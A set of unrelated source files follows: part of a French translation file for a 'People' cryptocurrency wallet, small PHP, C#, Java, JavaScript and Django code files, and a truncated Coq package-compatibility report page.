<translation>Stacker vos monnaies afin de soutenir le réseau et d'obtenir des intérêts (default: 1)</translation>
</message>
<message>
<location line="+5"/>
<source>Threshold for disconnecting misbehaving peers (default: 100)</source>
<translation>Seuil de déconnexion des pairs de mauvaise qualité (par défaut : 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source>
<translation>Délai en secondes de refus de reconnexion aux pairs de mauvaise qualité (par défaut : 86400)</translation>
</message>
<message>
<location line="-44"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source>
<translation>Une erreur est survenue lors du réglage du port RPC %u pour écouter sur IPv4 : %s</translation>
</message>
<message>
<location line="+51"/>
<source>Detach block and address databases. Increases shutdown time (default: 0)</source>
<translation>Détacher la base de donnée des blocks et adresses. Augmente le temps de fermeture (default: 0)</translation>
</message>
<message>
<location line="+109"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation>Erreur: La transaction a été rejetée. Cela peut se produire si une quantité d'argent de votre portefeuille a déjà été dépensée, comme dans le cas où une copie du fichier wallet.dat aurait été utilisée afin d'effectuer des dépenses, à la place du fichier courant.</translation>
</message>
<message>
<location line="-5"/>
<source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds </source>
<translation>Erreur: Cette transaction requière des frais minimum de %s a cause de son montant, de sa complexité ou de l'utilisation de fonds récemment reçus.</translation>
</message>
<message>
<location line="-87"/>
<source>Listen for JSON-RPC connections on <port> (default: 51736 or testnet: 51996)</source>
<translation>Écouter les connexions JSON-RPC sur le <port> (default: 51736 or testnet: 51996)</translation>
</message>
<message>
<location line="-11"/>
<source>Accept command line and JSON-RPC commands</source>
<translation>Accepter les commandes de JSON-RPC et de la ligne de commande</translation>
</message>
<message>
<location line="+101"/>
<source>Error: Transaction creation failed </source>
<translation>Erreur: La création de cette transaction à échouée</translation>
</message>
<message>
<location line="-5"/>
<source>Error: Wallet locked, unable to create transaction </source>
<translation>Erreur: Portefeuille verrouillé, impossible d'effectuer cette transaction</translation>
</message>
<message>
<location line="-8"/>
<source>Importing blockchain data file.</source>
<translation>Importation du fichier blockchain</translation>
</message>
<message>
<location line="+1"/>
<source>Importing bootstrap blockchain data file.</source>
<translation>Importation du fichier blockchain</translation>
</message>
<message>
<location line="-88"/>
<source>Run in the background as a daemon and accept commands</source>
<translation>Fonctionner en arrière-plan en tant que démon et accepter les commandes</translation>
</message>
<message>
<location line="+1"/>
<source>Use the test network</source>
<translation>Utiliser le réseau de test</translation>
</message>
<message>
<location line="-24"/>
<source>Accept connections from outside (default: 1 if no -proxy or -connect)</source>
<translation>Accepter les connexions entrantes (par défaut : 1 si aucun -proxy ou -connect )</translation>
</message>
<message>
<location line="-38"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source>
<translation>Une erreur est survenue lors du réglage du port RPC %u pour écouter sur IPv6, retour à IPv4 : %s</translation>
</message>
<message>
<location line="+117"/>
<source>Error initializing database environment %s! To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.</source>
<translation>Erreur lors de l'initialisation de l'environnement de base de données %s! Afin de procéder à la récupération, une SAUVEGARDE DE CE REPERTOIRE est nécessaire, puis, supprimez le contenu entier de ce répertoire, à l'exception du fichier wallet.dat </translation>
</message>
<message>
<location line="-20"/>
<source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source>
<translation>Fixer la taille maximale d'un block en bytes (default: 27000)</translation>
</message>
<message>
<location line="+11"/>
<source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source>
<translation>Attention : -paytxfee est réglée sur un montant très élevé ! Il s'agit des frais de transaction que vous payerez si vous envoyez une transaction.</translation>
</message>
<message>
<location line="+61"/>
<source>Warning: Please check that your computer's date and time are correct! If your clock is wrong People will not work properly.</source>
<translation>Avertissement: Veuillez vérifier la date et l'heure de votre ordinateur. People ne pourra pas fonctionner correctement si l'horloge est réglée de façon incorrecte</translation>
</message>
<message>
<location line="-31"/>
<source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source>
<translation>Avertissement : une erreur est survenue lors de la lecture de wallet.dat ! Toutes les clefs ont été lues correctement mais les données de transaction ou les entrées du carnet d'adresses sont peut-être incorrectes ou manquantes.</translation>
</message>
<message>
<location line="-18"/>
<source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source>
<translation>Avertissement : wallet.dat corrompu, données récupérées ! Le fichier wallet.dat original a été enregistré en tant que wallet.{timestamp}.bak dans %s ; si votre solde ou transactions sont incorrects vous devriez effectuer une restauration depuis une sauvegarde.</translation>
</message>
<message>
<location line="-30"/>
<source>Attempt to recover private keys from a corrupt wallet.dat</source>
<translation>Tenter de récupérer les clefs privées d'un wallet.dat corrompu</translation>
</message>
<message>
<location line="+4"/>
<source>Block creation options:</source>
<translation>Options de création de bloc :</translation>
</message>
<message>
<location line="-62"/>
<source>Connect only to the specified node(s)</source>
<translation>Ne se connecter qu'au(x) nœud(s) spécifié(s)</translation>
</message>
<message>
<location line="+4"/>
<source>Discover own IP address (default: 1 when listening and no -externalip)</source>
<translation>Découvrir sa propre adresse IP (par défaut : 1 lors de l'écoute et si aucun -externalip)</translation>
</message>
<message>
<location line="+94"/>
<source>Failed to listen on any port. Use -listen=0 if you want this.</source>
<translation>Échec de l'écoute sur un port quelconque. Utilisez -listen=0 si vous voulez ceci.</translation>
</message>
<message>
<location line="-90"/>
<source>Find peers using DNS lookup (default: 1)</source>
<translation>Trouvez des peers utilisant DNS lookup (default: 1)</translation>
</message>
<message>
<location line="+5"/>
<source>Sync checkpoints policy (default: strict)</source>
<translation>Politique de synchronisation des checkpoints (default: strict)</translation>
</message>
<message>
<location line="+83"/>
<source>Invalid -tor address: '%s'</source>
<translation>Adresse -tor invalide: '%s'</translation>
</message>
<message>
<location line="+4"/>
<source>Invalid amount for -reservebalance=<amount></source>
<translation>Montant incorrect pour -reservebalance=<montant></translation>
</message>
<message>
<location line="-82"/>
<source>Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)</source>
<translation>Tampon maximal de réception par « -connection » <n>*1 000 octets (par défaut : 5 000)</translation>
</message>
<message>
<location line="+1"/>
<source>Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)</source>
<translation>Tampon maximal d'envoi par « -connection », <n>*1 000 octets (par défaut : 1 000)</translation>
</message>
<message>
<location line="-16"/>
<source>Only connect to nodes in network <net> (IPv4, IPv6 or Tor)</source>
<translation>Se connecter uniquement aux nœuds du réseau <net> (IPv4, IPv6 ou Tor)</translation>
</message>
<message>
<location line="+28"/>
<source>Output extra debugging information. Implies all other -debug* options</source>
<translation>Voir les autres informations de débogage. Implique toutes les autres options -debug*</translation>
</message>
<message>
<location line="+1"/>
<source>Output extra network debugging information</source>
<translation>Voir les autres informations de débogage du réseau</translation>
</message>
<message>
<location line="+1"/>
<source>Prepend debug output with timestamp</source>
<translation>Horodater les messages de debug</translation>
</message>
<message>
<location line="+35"/>
<source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source>
<translation>Options SSL : (voir le Wiki de Bitcoin pour les instructions de configuration du SSL)</translation>
</message>
<message>
<location line="-74"/>
<source>Select the version of socks proxy to use (4-5, default: 5)</source>
<translation>Sélectionner la version du proxy socks à utiliser (4-5, par défaut: 5)</translation>
</message>
<message>
<location line="+41"/>
<source>Send trace/debug info to console instead of debug.log file</source>
<translation>Envoyer les informations de débogage/trace à la console au lieu du fichier debug.log</translation>
</message>
<message>
<location line="+1"/>
<source>Send trace/debug info to debugger</source>
<translation>Envoyer les informations de débogage/trace à la console au lieu du fichier debug.log</translation>
</message>
<message>
<location line="+28"/>
<source>Set maximum block size in bytes (default: 250000)</source>
<translation>Fixer la taille maximale d'un block en bytes (default: 250000)</translation>
</message>
<message>
<location line="-1"/>
<source>Set minimum block size in bytes (default: 0)</source>
<translation>Définir la taille minimale de bloc en octets (par défaut : 0)</translation>
</message>
<message>
<location line="-29"/>
<source>Shrink debug.log file on client startup (default: 1 when no -debug)</source>
<translation>Réduire le fichier debug.log lors du démarrage du client (par défaut : 1 lorsque -debug n'est pas présent)</translation>
</message>
<message>
<location line="-42"/>
<source>Specify connection timeout in milliseconds (default: 5000)</source>
<translation>Spécifier le délai d'expiration de la connexion en millisecondes (par défaut : 5 000)</translation>
</message>
<message>
<location line="+109"/>
<source>Unable to sign checkpoint, wrong checkpointkey?
</source>
<translation>Impossible de "signer" le checkpoint, mauvaise clef de checkpoint?
</translation>
</message>
<message>
<location line="-80"/>
<source>Use UPnP to map the listening port (default: 0)</source>
<translation>Utiliser l'UPnP pour rediriger le port d'écoute (par défaut : 0)</translation>
</message>
<message>
<location line="-1"/>
<source>Use UPnP to map the listening port (default: 1 when listening)</source>
<translation>Utiliser l'UPnP pour rediriger le port d'écoute (par défaut : 1 lors de l'écoute)</translation>
</message>
<message>
<location line="-25"/>
<source>Use proxy to reach tor hidden services (default: same as -proxy)</source>
<translation>Utiliser un proxy pour atteindre les services cachés (défaut: équivalent à -proxy)</translation>
</message>
<message>
<location line="+42"/>
<source>Username for JSON-RPC connections</source>
<translation>Nom d'utilisateur pour les connexions JSON-RPC</translation>
</message>
<message>
<location line="+47"/>
<source>Verifying database integrity...</source>
<translation>Vérification d'intégrité de la base de données...</translation>
</message>
<message>
<location line="+57"/>
<source>WARNING: syncronized checkpoint violation detected, but skipped!</source>
<translation>ATTENTION : violation du checkpoint de synchronisation, mais ignorée!</translation>
</message>
<message>
<location line="+1"/>
<source>Warning: Disk space is low!</source>
<translation>Avertissement: Espace disque faible!</translation>
</message>
<message>
<location line="-2"/>
<source>Warning: This version is obsolete, upgrade required!</source>
<translation>Avertissement : cette version est obsolète, une mise à niveau est nécessaire !</translation>
</message>
<message>
<location line="-48"/>
<source>wallet.dat corrupt, salvage failed</source>
<translation>wallet.dat corrompu, la récupération a échoué</translation>
</message>
<message>
<location line="-54"/>
<source>Password for JSON-RPC connections</source>
<translation>Mot de passe pour les connexions JSON-RPC</translation>
</message>
<message>
<location line="-84"/>
<source>%s, you must set a rpcpassword in the configuration file:
%s
It is recommended you use the following random password:
rpcuser=peoplerpc
rpcpassword=%s
(you do not need to remember this password)
The username and password MUST NOT be the same.
If the file does not exist, create it with owner-readable-only file permissions.
It is also recommended to set alertnotify so you are notified of problems;
for example: alertnotify=echo %%s | mail -s "People Alert" admin@foo.com
</source>
<translation>%s, vous devez définir un mot de passe rpc 'rpcpassword' au sein du fichier de configuration:
%s
Il est recommandé d'utiliser le mot de passe aléatoire suivant:
rpcuser=peoplerpc
rpcpassword=%s
(il n'est pas nécessaire de retenir ce mot de passe)
Le nom d'utilisateur et le mot de passe doivent IMPERATIVEMENT être différents.
Si le fichier n'existe pas, il est nécessaire de le créer, avec les droit de lecture au propriétaire seulement.
Il est également recommandé d'utiliser l'option alertnotify afin d'être notifié des problèmes;
par exemple: alertnotify=echo %%s | mail -s "Alerte People" admin@foo.com
</translation>
</message>
<message>
<location line="+51"/>
<source>Find peers using internet relay chat (default: 0)</source>
<translation>Find peers using internet relay chat (default: 1) {0)?}</translation>
</message>
<message>
<location line="+5"/>
<source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source>
<translation>Synchronisation de l'horloge avec d'autres noeuds. Désactiver si votre serveur est déjà synchronisé avec le protocole NTP (défaut: 1)</translation>
</message>
<message>
<location line="+15"/>
<source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source>
<translation>Lors de la création de transactions, ignore les entrées dont la valeur sont inférieures (défaut: 0.01)</translation>
</message>
<message>
<location line="+16"/>
<source>Allow JSON-RPC connections from specified IP address</source>
<translation>Autoriser les connexions JSON-RPC depuis l'adresse IP spécifiée</translation>
</message>
<message>
<location line="+1"/>
<source>Send commands to node running on <ip> (default: 127.0.0.1)</source>
<translation>Envoyer des commandes au nœud fonctionnant sur <ip> (par défaut : 127.0.0.1)</translation>
</message>
<message>
<location line="+1"/>
<source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source>
<translation>Exécuter la commande lorsque le meilleur bloc change (%s dans cmd est remplacé par le hachage du bloc)</translation>
</message>
<message>
<location line="+3"/>
<source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source>
<translation>Exécuter la commande lorsqu'une transaction de portefeuille change (%s dans la commande est remplacée par TxID)</translation>
</message>
<message>
<location line="+3"/>
<source>Require a confirmations for change (default: 0)</source>
<translation>Nécessite a confirmations pour modification (défaut: 0)</translation>
</message>
<message>
<location line="+1"/>
<source>Enforce transaction scripts to use canonical PUSH operators (default: 1)</source>
<translation>Force les scripts de transaction à utiliser des opérateurs PUSH canoniques (défaut: 1)</translation>
</message>
<message>
<location line="+2"/>
<source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source>
<translation>Exécute une commande lorsqu'une alerte correspondante est reçue (%s dans la commande est remplacé par message)</translation>
</message>
<message>
<location line="+3"/>
<source>Upgrade wallet to latest format</source>
<translation>Mettre à niveau le portefeuille vers le format le plus récent</translation>
</message>
<message>
<location line="+1"/>
<source>Set key pool size to <n> (default: 100)</source>
<translation>Régler la taille de la réserve de clefs sur <n> (par défaut : 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Rescan the block chain for missing wallet transactions</source>
<translation>Réanalyser la chaîne de blocs pour les transactions de portefeuille manquantes</translation>
</message>
<message>
<location line="+2"/>
<source>How many blocks to check at startup (default: 2500, 0 = all)</source>
<translation>Nombre de blocs à vérifier loes du démarrage (défaut: 2500, 0 = tous)</translation>
</message>
<message>
<location line="+1"/>
<source>How thorough the block verification is (0-6, default: 1)</source>
<translation>Niveau d'approfondissement de la vérification des blocs (0-6, default: 1)</translation>
</message>
<message>
<location line="+1"/>
<source>Imports blocks from external blk000?.dat file</source>
<translation>Importe les blocs d'un fichier externe blk000?.dat</translation>
</message>
<message>
<location line="+8"/>
<source>Use OpenSSL (https) for JSON-RPC connections</source>
<translation>Utiliser OpenSSL (https) pour les connexions JSON-RPC</translation>
</message>
<message>
<location line="+1"/>
<source>Server certificate file (default: server.cert)</source>
<translation>Fichier de certificat serveur (par défaut : server.cert)</translation>
</message>
<message>
<location line="+1"/>
<source>Server private key (default: server.pem)</source>
<translation>Clef privée du serveur (par défaut : server.pem)</translation>
</message>
<message>
<location line="+1"/>
<source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source>
<translation>Algorithmes de chiffrements acceptés (défaut: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</translation>
</message>
<message>
<location line="+53"/>
<source>Error: Wallet unlocked for staking only, unable to create transaction.</source>
<translation>Erreur: Portefeuille déverrouillé uniquement pour "stacking" , impossible d'effectuer cette transaction</translation>
</message>
<message>
<location line="+18"/>
<source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source>
<translation>AVERTISSEMENT: point de contrôle invalide! Les transactions affichées peuvent être incorrectes! Il est peut-être nécessaire d'effectuer une mise à jour, ou d'avertir les développeurs du projet.</translation>
</message>
<message>
<location line="-158"/>
<source>This help message</source>
<translation>Ce message d'aide</translation>
</message>
<message>
<location line="+95"/>
<source>Wallet %s resides outside data directory %s.</source>
<translation>Le portefeuille %s réside en dehors répertoire de données %s</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot obtain a lock on data directory %s. People is probably already running.</source>
<translation>Echec lors de la tentative de verrouillage des données du répertoire %s. L'application People est probablement déjà en cours d'exécution</translation>
</message>
<message>
<location line="-98"/>
<source>People</source>
<translation>People</translation>
</message>
<message>
<location line="+140"/>
<source>Unable to bind to %s on this computer (bind returned error %d, %s)</source>
<translation>Impossible de se lier à %s sur cet ordinateur (bind a retourné l'erreur %d, %s)</translation>
</message>
<message>
<location line="-130"/>
<source>Connect through socks proxy</source>
<translation>Se connecter à travers un proxy socks</translation>
</message>
<message>
<location line="+3"/>
<source>Allow DNS lookups for -addnode, -seednode and -connect</source>
<translation>Autoriser les recherches DNS pour -addnode, -seednode et -connect</translation>
</message>
<message>
<location line="+122"/>
<source>Loading addresses...</source>
<translation>Chargement des adresses…</translation>
</message>
<message>
<location line="-15"/>
<source>Error loading blkindex.dat</source>
<translation>Erreur de chargement du fichier blkindex.dat</translation>
</message>
<message>
<location line="+2"/>
<source>Error loading wallet.dat: Wallet corrupted</source>
<translation>Erreur lors du chargement de wallet.dat : portefeuille corrompu</translation>
</message>
<message>
<location line="+4"/>
<source>Error loading wallet.dat: Wallet requires newer version of People</source>
<translation>Erreur de chargement du fichier wallet.dat: le portefeuille nécessite une version plus récente de l'application People</translation>
</message>
<message>
<location line="+1"/>
<source>Wallet needed to be rewritten: restart People to complete</source>
<translation>le portefeuille nécessite d'être réédité : Merci de relancer l'application People</translation>
</message>
<message>
<location line="+1"/>
<source>Error loading wallet.dat</source>
<translation>Erreur lors du chargement de wallet.dat</translation>
</message>
<message>
<location line="-16"/>
<source>Invalid -proxy address: '%s'</source>
<translation>Adresse -proxy invalide : « %s »</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown network specified in -onlynet: '%s'</source>
<translation>Réseau inconnu spécifié sur -onlynet : « %s »</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown -socks proxy version requested: %i</source>
<translation>Version inconnue de serveur mandataire -socks demandée : %i</translation>
</message>
<message>
<location line="+4"/>
<source>Cannot resolve -bind address: '%s'</source>
<translation>Impossible de résoudre l'adresse -bind : « %s »</translation>
</message>
<message>
<location line="+2"/>
<source>Cannot resolve -externalip address: '%s'</source>
<translation>Impossible de résoudre l'adresse -externalip : « %s »</translation>
</message>
<message>
<location line="-24"/>
<source>Invalid amount for -paytxfee=<amount>: '%s'</source>
<translation>Montant invalide pour -paytxfee=<montant> : « %s »</translation>
</message>
<message>
<location line="+44"/>
<source>Error: could not start node</source>
<translation>Erreur: Impossible de démarrer le noeud</translation>
</message>
<message>
<location line="+11"/>
<source>Sending...</source>
<translation>Envoi...</translation>
</message>
<message>
<location line="+5"/>
<source>Invalid amount</source>
<translation>Montant invalide</translation>
</message>
<message>
<location line="+1"/>
<source>Insufficient funds</source>
<translation>Fonds insuffisants</translation>
</message>
<message>
<location line="-34"/>
<source>Loading block index...</source>
<translation>Chargement de l’index des blocs…</translation>
</message>
<message>
<location line="-103"/>
<source>Add a node to connect to and attempt to keep the connection open</source>
<translation>Ajouter un nœud auquel se connecter et tenter de garder la connexion ouverte</translation>
</message>
<message>
<location line="+122"/>
<source>Unable to bind to %s on this computer. People is probably already running.</source>
<translation>Connexion au port %s impossible. L'application People est probablement déjà en cours d'exécution</translation>
</message>
<message>
<location line="-97"/>
<source>Fee per KB to add to transactions you send</source>
<translation>Frais par KB à ajouter à vos transactions sortantes</translation>
</message>
<message>
<location line="+55"/>
<source>Invalid amount for -mininput=<amount>: '%s'</source>
<translation>Montant invalide pour -mininput=<amount>: '%s'</translation>
</message>
<message>
<location line="+25"/>
<source>Loading wallet...</source>
<translation>Chargement du portefeuille…</translation>
</message>
<message>
<location line="+8"/>
<source>Cannot downgrade wallet</source>
<translation>Impossible de revenir à une version inférieure du portefeuille</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot initialize keypool</source>
<translation>Impossible d'initialiser la "keypool"</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot write default address</source>
<translation>Impossible d'écrire l'adresse par défaut</translation>
</message>
<message>
<location line="+1"/>
<source>Rescanning...</source>
<translation>Nouvelle analyse…</translation>
</message>
<message>
<location line="+5"/>
<source>Done loading</source>
<translation>Chargement terminé</translation>
</message>
<message>
<location line="-167"/>
<source>To use the %s option</source>
<translation>Pour utiliser l'option %s</translation>
</message>
<message>
<location line="+14"/>
<source>Error</source>
<translation>Erreur</translation>
</message>
<message>
<location line="+6"/>
<source>You must set rpcpassword=<password> in the configuration file:
%s
If the file does not exist, create it with owner-readable-only file permissions.</source>
<translation>Vous devez ajouter la ligne rpcpassword=<mot-de-passe> au fichier de configuration :
%s
Si le fichier n'existe pas, créez-le avec les droits de lecture seule accordés au propriétaire.</translation>
</message>
</context>
</TS> |
<?php
namespace Binaerpiloten\MagicBundle\Tests\Controller;
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
class BatchControllerTest extends WebTestCase
{
/*
public function testCompleteScenario()
{
// Create a new client to browse the application
$client = static::createClient();
// Create a new entry in the database
$crawler = $client->request('GET', '/batch/');
$this->assertEquals(200, $client->getResponse()->getStatusCode(), "Unexpected HTTP status code for GET /batch/");
$crawler = $client->click($crawler->selectLink('Create a new entry')->link());
// Fill in the form and submit it
$form = $crawler->selectButton('Create')->form(array(
'binaerpiloten_magicbundle_batch[field_name]' => 'Test',
// ... other fields to fill
));
$client->submit($form);
$crawler = $client->followRedirect();
// Check data in the show view
$this->assertGreaterThan(0, $crawler->filter('td:contains("Test")')->count(), 'Missing element td:contains("Test")');
// Edit the entity
$crawler = $client->click($crawler->selectLink('Edit')->link());
$form = $crawler->selectButton('Update')->form(array(
'binaerpiloten_magicbundle_batch[field_name]' => 'Foo',
// ... other fields to fill
));
$client->submit($form);
$crawler = $client->followRedirect();
// Check the element contains an attribute with value equals "Foo"
$this->assertGreaterThan(0, $crawler->filter('[value="Foo"]')->count(), 'Missing element [value="Foo"]');
// Delete the entity
$client->submit($crawler->selectButton('Delete')->form());
$crawler = $client->followRedirect();
// Check the entity has been delete on the list
$this->assertNotRegExp('/Foo/', $client->getResponse()->getContent());
}
*/
}
|
using System;
namespace Glympse.EnRoute.iOS
{
class CustomerPickupManager : GCustomerPickupManager, EventSink.GGlyEventSink
{
private GlyCustomerPickupManager _raw;
private EventSink _eventSink;
public CustomerPickupManager(GlyCustomerPickupManager raw)
{
_raw = raw;
_eventSink = new EventSink(this);
}
/**
* GCustomerPickupManager section
*/
public bool arrived()
{
return _raw.arrived();
}
public GArray<GChatMessage> getChatMessages()
{
return new Array<GChatMessage>(_raw.getChatMessages());
}
public GCustomerPickup getCurrentPickup()
{
return (GCustomerPickup)ClassBinder.bind(_raw.getCurrentPickup());
}
public bool holdPickup()
{
return _raw.holdPickup();
}
public bool sendArrivalData(GPickupArrivalData arrivalData)
{
return _raw.sendArrivalData((GlyPickupArrivalData)arrivalData);
}
public bool sendChatMessage(string message)
{
return _raw.sendChatMessage(message);
}
public bool sendFeedback(int customerRating, string customerComment, bool canContactCustomer)
{
return _raw.sendFeedback(customerRating, customerComment, canContactCustomer);
}
public void setForeignId(string foreignId)
{
_raw.setForeignId(foreignId);
}
public void setInviteCode(string inviteCode)
{
_raw.setInviteCode(inviteCode);
}
public bool setManualETA(long eta)
{
return _raw.setManualETA(eta);
}
/**
* GEventSink section
*/
public bool addListener(GEventListener eventListener)
{
return _eventSink.addListener(eventListener);
}
public bool removeListener(GEventListener eventListener)
{
return _eventSink.removeListener(eventListener);
}
public bool addListener(GlyEventListener listener)
{
return _raw.addListener(listener);
}
public bool removeListener(GlyEventListener listener)
{
return _raw.removeListener(listener);
}
/**
* GCommon section
*/
public object raw()
{
return _raw;
}
}
}
|
package sword.bitstream;
public interface DiffSupplierCreator<T> {
FunctionWithIOException<T, T> create(InputBitStream stream);
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace Nohros.Data
{
/// <summary>
/// Represents an class that can be serialized using the json format. Classes
/// that implement this interface is usually used to transfer json encoded
/// data from the data access layer to another layer (usually a web
/// front-end).
/// </summary>
public interface IDataTransferObject
{
/// <summary>
/// Gets a json-compliant string of characters that represents the
/// underlying class and is formatted like a json array element.
/// </summary>
/// <example>
/// The example uses the AsJsonArray to serialize the MyDataTransferObject
/// to a string that represents an json array.
/// <code>
/// class MyDataTransferObject : IDataTransferObject {
/// string first_name_, las_name;
///
/// public MyDataTransferObject(string first_name, string last_name) {
/// first_name_ = first_name;
/// last_name_ = last_name;
/// }
///
/// public string AsJsonArray() {
/// return "['" + first_name + "','" + last_name + "']"
/// }
/// }
/// </code>
/// </example>
/// <returns>
/// A json compliant string of characters formatted like a json array
/// element.
/// </returns>
string AsJsonArray();
/// <summary>
/// Gets a json-compliant string of characters that represents the
/// underlying class and is formatted like a json object.
/// </summary>
/// <example>
/// The example uses the AsJsonObject method to serialize the
/// MyDataTransferObject to a string that represents an json object.
/// <code>
/// class MyDataTransferObject : IDataTransferObject {
/// string first_name_, las_name;
///
/// public MyDataTransferObject(string first_name, string last_name) {
/// first_name_ = first_name;
/// last_name_ = last_name;
/// }
///
/// public string AsJsonObject() {
/// return "{\"first_name\":\"" + first_name + "\",\"last_name\":\"" + last_name + "\"}";
/// }
/// }
/// </code>
/// </example>
/// <returns>
/// A json compliant string of characters formatted like a json object.
/// </returns>
string AsJsonObject();
}
}
|
import getDevTool from './devtool'
import getTarget from './target'
import getEntry from './entry'
import getOutput from './output'
import getResolve from './resolve'
import getResolveLoader from './resolveLoader'
import getModule from './module'
import getExternals from './externals'
import getPlugins from './plugins'
import getPostcss from './postcss'
import getNode from './node'
export default function make(name) {
if(typeof name !== 'string')
throw new Error('Name is required.')
return { name
, context: __dirname
, cache: true
, target: getTarget(name)
, devtool: getDevTool(name)
, entry: getEntry(name)
, output: getOutput(name)
, resolve: getResolve(name)
, resolveLoader: getResolveLoader(name)
, module: getModule(name)
, externals: getExternals(name)
, plugins: getPlugins(name)
, node: getNode(name)
, postcss: getPostcss(name)
}
}
|
from django.conf.urls import patterns, url
from links import views
urlpatterns = patterns('links.views',
url(r'^link/settings/$', views.settings, name = 'settings'),
url(r'^link/donate/(?P<url>[\d\w.]+)$', views.kintera_redirect, name = 'donate'),
url(r'^link/rider/(?P<url>[\d\w.]+)$', views.t4k_redirect, name = 'profile'),
) |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>unicoq: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.5.3 / unicoq - 1.3+8.7</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
unicoq
<small>
1.3+8.7
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2022-02-07 04:07:19 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-02-07 04:07:19 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-num base Num library distributed with the OCaml compiler
base-threads base
base-unix base
camlp5 7.14 Preprocessor-pretty-printer of OCaml
conf-findutils 1 Virtual package relying on findutils
conf-perl 2 Virtual package relying on perl
coq 8.5.3 Formal proof management system
num 0 The Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.05.0 The OCaml compiler (virtual package)
ocaml-base-compiler 4.05.0 Official 4.05.0 release
ocaml-config 1 OCaml Switch Configuration
# opam file:
opam-version: "2.0"
maintainer: "matthieu.sozeau@inria.fr"
authors: [ "Matthieu Sozeau <matthieu.sozeau@inria.fr>" "Beta Ziliani <beta@mpi-sws.org>" ]
dev-repo: "git+https://github.com/unicoq/unicoq.git"
homepage: "https://github.com/unicoq/unicoq"
bug-reports: "https://github.com/unicoq/unicoq/issues"
license: "MIT"
build: [
["coq_makefile" "-f" "Make" "-o" "Makefile"]
[make "-j%{jobs}%"]
]
install: [
[make "install"]
]
depends: [
"ocaml"
"coq" {>= "8.7.0" & < "8.8~"}
]
synopsis: "An enhanced unification algorithm for Coq"
url {
src: "https://github.com/unicoq/unicoq/archive/v1.3-8.7.tar.gz"
checksum: "md5=5adaadf1ed3afe7c7170f15730cf6a74"
}
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-unicoq.1.3+8.7 coq.8.5.3</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.5.3).
The following dependencies couldn't be met:
- coq-unicoq -> coq >= 8.7.0
Your request can't be satisfied:
- No available version of coq satisfies the constraints
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-unicoq.1.3+8.7</code></dd>
